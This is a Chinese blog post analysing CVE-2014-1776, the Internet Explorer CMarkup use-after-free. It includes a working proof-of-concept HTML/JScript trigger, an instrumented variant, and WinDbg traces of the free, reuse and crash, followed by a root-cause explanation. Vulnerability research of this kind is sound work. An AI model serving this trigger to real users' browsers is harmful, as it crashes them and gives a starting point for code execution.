传说中的IE秘狐

[CNNVD]Microsoft Internet Explorer 释放后重用漏洞(CNNVD-201404-530)

Microsoft Internet Explorer(IE)是美国微软(Microsoft)公司开发的一款Web浏览器,是Windows操作系统附带的默认浏览器。

Microsoft IE 6至11版本的VGX.DLL文件中存在释放后重用漏洞。远程攻击者可利用该漏洞执行任意代码或造成拒绝服务(内存损坏)。

POC:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<STYLE>
v\:* { Behavior: url(#default#VML) }
</STYLE>
<head id="l">
<title></title>
<script>
function trigger()
{
var r,t,e,i;
var o = document.getElementById("l");
r = document.createElement("i");
t = r;
r = document.getElementById("k").childNodes[0].appendChild(r) ;
r = t.appendChild(o) ;
e = r.offsetParent;
e.onpropertychange=fun;
i=o.firstChild.nextSibling;
try
{
i.disabled = o;
}
catch (e) {}
}
function fun()
{
var g_arr = [];
var arrLen = 0x250;
var m_block; for (var i = 0; i < arrLen; ++i)
{
g_arr[i] = document.createElement('div');
}
var a = unescape("%uAAAA%uAAAA") ;
while (a.length < 0xd8)
{
a += unescape("%uBBBB%uBBBB") ;
}
m_block = a.substring(0, (0xd8 - 2) / 2);
try
{
this.removeNode(true);
}
catch (e) {}
CollectGarbage();
for (var i = 0; i < (arrLen / 2); ++i)
{
g_arr[i].title = m_block ;
}
}
</script>
</head>
<body>
<v:group id="k" style="width:500pt;">
<div></div>
</group>
<script>
trigger() ;
</script>
</body>
</html>

经分析得出是CMarkup对象发生的UAF

这个样本的确可以成功触发漏洞,但是这个明显是一个经过设计exp。exp的行为会干扰到我们对漏洞产生原因的分析。

重利用

:> kv
ChildEBP RetAddr Args to Child
041ee998 68318a98 087abfc0 6837ce50 mshtml!CMarkup::IsConnectedToPrimaryMarkup+0x6 (FPO: [,,])
041ee9b8 68319d57 06dfbf30 041ee9dc mshtml!CMarkup::OnCssChange+0x52
041ee9c8 6860a5b3 087abfc0 6837ce64 mshtml!CElement::OnCssChange+0x1e
041ee9dc 6836bfc6 8001004c 6837ce50 mshtml!CStyleElement::OnPropertyChange+0xfc
041eeabc 682e4bd1 6837ce64 ffffffff 087abfcc mshtml!NUMPROPPARAMS::SetNumberProperty+0x2d9
041eead8 682e4ba1 0000ffff 0a82efd8 041eeb10 mshtml!CBase::put_BoolHelper+0x25
041eeae8 682e24dd 087abfc0 0000ffff 068e8fd0 mshtml!CBase::put_Bool+0x22
041eeb10 683f235c 087abfc0 068e8fd0 0a82efd8 mshtml!GS_VARIANTBOOL+0x19b
041eeb84 683fc75a 087abfc0 8001004c mshtml!CBase::ContextInvokeEx+0x5dc
041eebd4 6820c29b 087abfc0 8001004c mshtml!CElement::ContextInvokeEx+0x9d
041eec00 683a3104 087abfc0 8001004c mshtml!CStyleElement::VersionedInvokeEx+0x62
041eec54 645aa22a 06e9afd8 8001004c mshtml!PlainInvokeEx+0xeb
041eec90 645aa175 0819cd10 8001004c jscript!IDispatchExInvokeEx2+0x104
041eeccc 645aa3f6 0819cd10 0000000c jscript!IDispatchExInvokeEx+0x6a
041eed8c 645aa4a0 8001004c 0000000c jscript!InvokeDispatchEx+0x98
041eedc0 645bd8c8 0819cd10 041eedf4 0000000c jscript!VAR::InvokeByName+0x139
041eee08 645a9c0e 0819cd10 0000000c jscript!VAR::InvokeDispName+0x7d
041eef9c 645b5c9d 041eefb4 01876f88 jscript!CScriptRuntime::Run+0x208d
041ef084 645b5bfb 01878fa0 jscript!ScrFncObj::CallWithFrameOnStack+0xce
041ef0cc 645b74ac 01878fa0 jscript!ScrFncObj::Call+0x8d

释放

:> g
Breakpoint hit
eax=683720a8 ebx=06d96fe8 ecx=06fd1f30 edx=001f1078 esi=06fd1f30 edi=
eip=683e12b8 esp=0419b40c ebp=0419b414 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CMarkup::~CMarkup:
683e12b8 8bff mov edi,edi
:> ? esi
Evaluate expression: = 06fd1f30
:> kv
ChildEBP RetAddr Args to Child
0419b408 683e1297 06fd1f30 0419b42c 68387dd0 mshtml!CMarkup::~CMarkup (FPO: [,,])
0419b414 68387dd0 68387db6 mshtml!CMarkup::`scalar deleting destructor'+0xd
0419b41c 68387db6 00000000 06fd1f30 0419b450 mshtml!CBase::SubRelease+0x22 (FPO: [0,0,0])
0419b42c 68319de5 06fd1f30 0540b680 6831a2d4 mshtml!CBase::PrivateRelease+0x3c
0419b438 6831a2d4 0a978fd8 0a97efd8 00001400 mshtml!CMarkup::ProcessPeerTask+0x47 (FPO: [0,1,0])
0419b450 683fc6ce 08a4af30 00000000 0a978fd8 mshtml!CMarkup::ProcessPeerTasks+0xf0
0419b468 683f1e59 0a97efd8 07873260 10000003 mshtml!CElement::VersionedGetDispID+0x52
0419b4ac 68a3a304 0a978fd8 07873260 10000003 mshtml!PlainGetDispID+0xdc
0419b4dc 68a3a272 07873260 0419b518 0a978fd8 jscript!IDispatchExGetDispID+0xa5
0419b4f4 68a3a47a 06e25d10 0419b518 00000003 jscript!GetDex2DispID+0x31
0419b520 68a4d8c8 06e25d10 0419b554 0000000c jscript!VAR::InvokeByName+0xee
0419b56c 68a39c0e 06e25d10 0000000c 00000000 jscript!VAR::InvokeDispName+0x7d
0419b700 68a45c9d 0419b718 0419b85c 06e5bf88 jscript!CScriptRuntime::Run+0x208d
0419b7e8 68a45bfb 0419b85c 00000000 06e57e80 jscript!ScrFncObj::CallWithFrameOnStack+0xce
0419b830 68a45e11 0419b85c 00000000 06e57e80 jscript!ScrFncObj::Call+0x8d
0419b8ac 68a3f3ee 06e5bf88 0419baf0 00000000 jscript!CSession::Execute+0x15f
0419b994 68a3ea2e 00000000 00000001 0419ba4c jscript!NameTbl::InvokeDef+0x1b5
0419ba18 68417af1 06e5bf88 00000000 00000804 jscript!NameTbl::InvokeEx+0x12c
0419ba68 68417b91 063d2fc8 06e5bf88 00000000 mshtml!CBase::InvokeDispatchWithThis+0x1e1
0419bb94 6838a932 80010013 8001179f 0a96cfd8 mshtml!CBase::InvokeEvent+0x214

分配

    70228e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77284ea6 ntdll!RtlDebugAllocateHeap+0x00000030
77247d96 ntdll!RtlpAllocateHeap+0x000000c4
772134ca ntdll!RtlAllocateHeap+0x0000023a
6830a8da mshtml!CDoc::CreateMarkupFromInfo+0x000000e2
6831625f mshtml!CDoc::CreateMarkup+0x0000004a
6826d0b1 mshtml!CCommentElement::`scalar deleting destructor'+0x000002d3
681ec57d mshtml!CElement::removeNode+0x00000046
681ec630 mshtml!Method_IDispatchpp_oDoVARIANTBOOL+0x000000cc
683f235c mshtml!CBase::ContextInvokeEx+0x000005dc
683fc75a mshtml!CElement::ContextInvokeEx+0x0000009d
683fc79a mshtml!CInput::VersionedInvokeEx+0x0000002d
683a3104 mshtml!PlainInvokeEx+0x000000eb
67eba22a jscript!IDispatchExInvokeEx2+0x00000104
67eba175 jscript!IDispatchExInvokeEx+0x0000006a
67eba3f6 jscript!InvokeDispatchEx+0x00000098
67eba4a0 jscript!VAR::InvokeByName+0x00000139
67ecd8c8 jscript!VAR::InvokeDispName+0x0000007d
67ecd96f jscript!VAR::InvokeByDispID+0x000000ce
67ece3e7 jscript!CScriptRuntime::Run+0x00002b80
67ec5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
67ec5bfb jscript!ScrFncObj::Call+0x0000008d
67ec5e11 jscript!CSession::Execute+0x0000015f
67ebf3ee jscript!NameTbl::InvokeDef+0x000001b5
67ebea2e jscript!NameTbl::InvokeEx+0x0000012c
68417af1 mshtml!CBase::InvokeDispatchWithThis+0x000001e1
68417b91 mshtml!CBase::InvokeEvent+0x00000214
6838a932 mshtml!CBase::FireEvent+0x000000e1
683d4836 mshtml!CElement::FireEvent+0x000003c4
6840c550 mshtml!CElement::Fire_onpropertychange+0x0000005a
6840c4d7 mshtml!CElement::Fire_PropertyChangeHelper+0x00000121
6840c457 mshtml!CElement::OnPropertyChange+0x00000b7b

分析一下流程

修改POC,增加辅助语句

<html xmlns:v="urn:schemas-microsoft-com:vml">
<STYLE>
v\:* { Behavior: url(#default#VML) }
</STYLE>
<head id="l">
<title></title>
<script>
Math.tan(2,3);
function trigger()
{
var r,t,e,i;
var o = document.getElementById("l");
Math.sin(2,3);
r = document.createElement("i");
Math.cos(2,3);
t = r;
Math.tan(2,3);
r = document.getElementById("k").childNodes[0].appendChild(r) ;
Math.sin(2,3);
r = t.appendChild(o) ;
Math.cos(2,3);
e = r.offsetParent;
Math.tan(2,3);
e.onpropertychange=fun;
Math.sin(2,3);
i=o.firstChild.nextSibling;
Math.cos(2,3);
try
{
Math.tan(2,3);
i.disabled = o;
}
catch (e) {}
}
function fun()
{
var g_arr = [];
var arrLen = 0x250;
var m_block; for (var i = 0; i < arrLen; ++i)
{
g_arr[i] = document.createElement('div');
}
var a = unescape("%uAAAA%uAAAA") ;
while (a.length < 0xd8)
{
a += unescape("%uBBBB%uBBBB") ;
}
m_block = a.substring(0, (0xd8 - 2) / 2);
try
{
Math.cos(2,3);
this.removeNode(true);
}
catch (e) {}
Math.tan(2,3);
CollectGarbage();
for (var i = 0; i < (arrLen / 2); ++i)
{
g_arr[i].title = m_block ;
}
}
</script>
</head>
<body>
<v:group id="k" style="width:500pt;">
<div></div>
</group>
<script>
trigger() ;
</script>
</body>
</html> 
:> g
Breakpoint hit
eax= ebx=040ded00 ecx= edx= esi=040decf0 edi=040decf0
eip=688bd8c0 esp=040debf4 ebp=040dec30 iopl= nv up ei pl nz ac po nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd711 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!sin:
688bd711 ff2568108968 jmp dword ptr [jscript!_imp__sin ()] ds::={msvcrt!sin (758d8aea)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd67f esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd8c0 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd711 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!sin:
688bd711 ff2568108968 jmp dword ptr [jscript!_imp__sin ()] ds::={msvcrt!sin (758d8aea)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd67f esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd8c0 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040ddae0 ecx= edx= esi=040ddad0 edi=040ddad0
eip=688bd67f esp=040dd9b4 ebp=040dd9f0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax=040dd934 ebx= ecx= edx=6837c8f9 esi= edi=
eip= esp=040dd854 ebp=040dd938 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CDoc::CreateMarkup:
8bff mov edi,edi
:> g
Breakpoint hit
eax= ebx=040ddae0 ecx= edx= esi=040ddad0 edi=040ddad0
eip=688bd8c0 esp=040dd9b4 ebp=040dd9f0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd711 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!sin:
688bd711 ff2568108968 jmp dword ptr [jscript!_imp__sin ()] ds::={msvcrt!sin (758d8aea)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd67f esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd8c0 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040db3a0 ecx= edx= esi=040db390 edi=040db390
eip=688bd67f esp=040db274 ebp=040db2b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax=040db1f4 ebx= ecx=07b9ff30 edx=6837c8f9 esi= edi=
eip= esp=040db114 ebp=040db1f8 iopl= nv up ei pl nz na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CDoc::CreateMarkup:
8bff mov edi,edi
:> g
Breakpoint hit
eax= ebx=040db3a0 ecx= edx= esi=040db390 edi=040db390
eip=688bd8c0 esp=040db274 ebp=040db2b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
(e68.): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07caff30 ebx=07caff30 ecx=a06dfdb5 edx= esi=07caff30 edi=0824efc0
eip=68318d1d esp=040de6ec ebp=040de710 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CMarkup::IsConnectedToPrimaryMarkup+0x6:
68318d1d 8b465c mov eax,dword ptr [esi+5Ch] ds::07caff8c=????????

通过分析发现

 this.removeNode(true);

一句的执行导致了CDoc::CreateMarkup函数创建

CDoc::CreateMarkup其实是对CDoc::CreateMarkupFromInfo的简单封装,CDoc::CreateMarkupFromInfo方法中通过HeapAlloc函数来分配内存。

通过此种方式获取分配的内存地址,最后发现UAF对象其实是第一个CreateMarkup函数进行分配的。

:> g
Breakpoint hit
eax= ebx=042bde78 ecx= edx= esi=042bde68 edi=042bde68
eip=67edd8c0 esp=042bdd74 ebp=042bddb0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
67edd8c0 ff258010eb67 jmp dword ptr [jscript!_imp__tan (67eb1080)] ds::67eb1080={msvcrt!tan (758dde34)}
:> bl
e 67edd8c0 () :**** jscript!tan
e 67edd67f () :**** jscript!cos
e 67edd711 () :**** jscript!sin
:> bu mshtml!CMarkup::~CMarkup
:> g
Breakpoint hit
eax= ebx=042bed30 ecx= edx= esi=042bed20 edi=042bed20
eip=67edd711 esp=042bec34 ebp=042bec70 iopl= nv up ei pl nz ac po nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!sin:
67edd711 ff256810eb67 jmp dword ptr [jscript!_imp__sin (67eb1068)] ds::67eb1068={msvcrt!sin (758d8aea)}
:> g
Breakpoint hit
eax= ebx=042bed30 ecx= edx= esi=042bed20 edi=042bed20
eip=67edd67f esp=042bec34 ebp=042bec70 iopl= nv up ei pl nz ac po nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
67edd67f ff259010eb67 jmp dword ptr [jscript!_imp__cos (67eb1090)] ds::67eb1090={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax= ebx=042bb738 ecx= edx= esi=042bb728 edi=042bb728
eip=67edd8c0 esp=042bb634 ebp=042bb670 iopl= nv up ei pl nz ac po nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
67edd8c0 ff258010eb67 jmp dword ptr [jscript!_imp__tan (67eb1080)] ds::67eb1080={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax=683720a8 ebx=0653efe8 ecx=07117f30 edx= esi=07117f30 edi=
eip=683e12b8 esp=042bb7a4 ebp=042bb7ac iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CMarkup::~CMarkup:
683e12b8 8bff mov edi,edi
:> ? ecx
Evaluate expression: = 07117f30
:> g
(b74.e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07117f30 ebx=07117f30 ecx=9f3dcc40 edx= esi=07117f30 edi=08392fc0
eip=68318d1d esp=042bea84 ebp=042beaa8 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CMarkup::IsConnectedToPrimaryMarkup+0x6:
68318d1d 8b465c mov eax,dword ptr [esi+5Ch] ds::07117f8c=????????

没有明显的js语句对应于释放和重用。

对象应该是因为引用计数耗尽而被释放的。

向上跟踪最后崩溃的位置,发现悬垂指针是处于CStyleElement+0x24的位置

根据OnCssChange函数我猜测是当css结构变动导致的引用了CStyleElement中指向已释放的CMarkup对象的悬垂指针。

CVE-2014-1776 秘狐的更多相关文章

  1. Oauth2.0协议曝漏洞 大量社交网站隐私或遭泄露

    2014年是IT业界不平常的一年,XP停服.IE长老漏洞(秘狐)等等层出不穷,现在,社交网络也爆出惊天漏洞:Oauth2.0协议漏洞 继OpenSSL漏洞后,开源安全软件再曝安全漏洞.新加坡南洋理工大 ...

  2. Bash漏洞批量检测工具与修复方案

    &amp;amp;lt;img src="http://image.3001.net/images/20140928/14118931103311.jpg!small" t ...

  3. Android安全研究经验谈

    安全研究做什么 从攻击角度举例,可以是:对某个模块进行漏洞挖掘的方法,对某个漏洞进行利用的技术,通过逆向工程破解程序.解密数据,对系统或应用进行感染.劫持等破坏安全性的攻击技术等. 而防御上则是:查杀 ...

  4. Metasploit的基本使用

    Metasploit可以在Linux.Windows和Mac OS X系统上运行.我假设你已安装了Metasploit,或者你使用的系统是Kali Linux.它有命令行接口也有GUI接口. 我使用的 ...

  5. 紧跟腾讯大王卡:B站2233卡“基友号”即将上线

    来自B站官方的消息显示,B站在近期也将推出"基友号"功能,功能的内容是通话免费,考虑到这类互联网套餐都是中国联通在运营,因此在内容上可能也会效仿腾讯大王卡实现免费通话. 目前,B站 ...

  6. 数据库SQL Service 2014中文版的安装和配置教程

    一.我的电脑环境 1.windows8.1(64位) 2.之前电脑没有安装数据库的软件 二.装机之前准备(我这儿提供百度云保存和下载) 1.下载一个“Sql service 2014中文版” http ...

  7. SQL Server 2014 Backup Encryption

    转载自: Microsoft MVP Award Program Blog 来源:Microsoft MVP Award Program Blog 的博客:https://blogs.msdn.mic ...

  8. AWS re:Invent 2014回顾

    亚马逊在2014年11月11-14日的拉斯维加斯举行了一年一度的re:Invent大会.在今年的大会上,亚马逊一股脑发布和更新了很多服务.现在就由我来带领大家了解一下这些新服务. 安全及规范相关 AW ...

  9. CVE: 2014-6271、CVE: 2014-7169 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis

    目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 为了理解这个漏 ...

随机推荐

  1. Codeforces Round #552 (Div. 3) 题解

    Codeforces Round #552 (Div. 3) 题目链接 A. Restoring Three Numbers 给出 \(a+b\),\(b+c\),\(a+c\) 以及 \(a+b+c ...

  2. linux那些事

    useradd -m -d /home/changp -Gusers,dialout,video account_name 创建新的账号 passwd account_name 修改指定账号的密码

  3. Java入门:Java环境变量PATH、CLASSPATH、JAVA_HOME

    一些初学者在用java HelloWorld指令运行程序的时候出现: Exception in thread "main" java.lang.NoClassDefFoundErr ...

  4. Linux下安装Python3和django并配置mysql作为django默认服务器

    我的操作系统为centos6.5 1  首先选择django要使用什么数据库.django1.10默认数据库为sqlite3,本人想使用mysql数据库,但为了测试方便顺便要安装一下sqlite开发包 ...

  5. Ansible9:条件语句

    目录 一.when 1.基本用法 2.在when中使用jinja2的语法 3.使用bool值作为when的判断条件 4.在when中使用defined关键字 5.when在循环语句中的使用方法 6.在 ...

  6. MySQL数据库语法-多表查询练习一

    MySQL数据库语法-多表查询练习一 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 本篇博客主要介绍的多表查询的外键约束,以及如何使用外链接和内连接查询数据信息. 一.数据表和测试 ...

  7. 穷竭搜索: POJ 2718 Smallest Difference

    题目:http://poj.org/problem?id=2718 题意: 就是输入N组数据,一组数据为,类似 [1  4  5  6  8  9]这样在0~9之间升序输入的数据,然后从这些数据中切一 ...

  8. SQL语句(二十)—— 数据库安全性

    数据库安全性 1. SQL Server 配置管理器  => 网络配置 MSSQLSERVER 协议,如果应用程序和SQL Server 在同一机器上,仅使用 Shared Memory (共享 ...

  9. protobuffer

    [protobuffer] 1.扩展名为.proto. 2.定义一个协议: 3.定义一个Service: 4.编译器为protoc,使用protoc: 5.style:所有的类型名均CamelCase ...

  10. spring-boot RestTemplate 连接池

    以前我们项目都是基于Apache HttpClient 连接池进行web 接口调用,后来用spring-boot, 发现 RestTemplate 挺好用. 简单介绍下: 什么是RestTemplat ...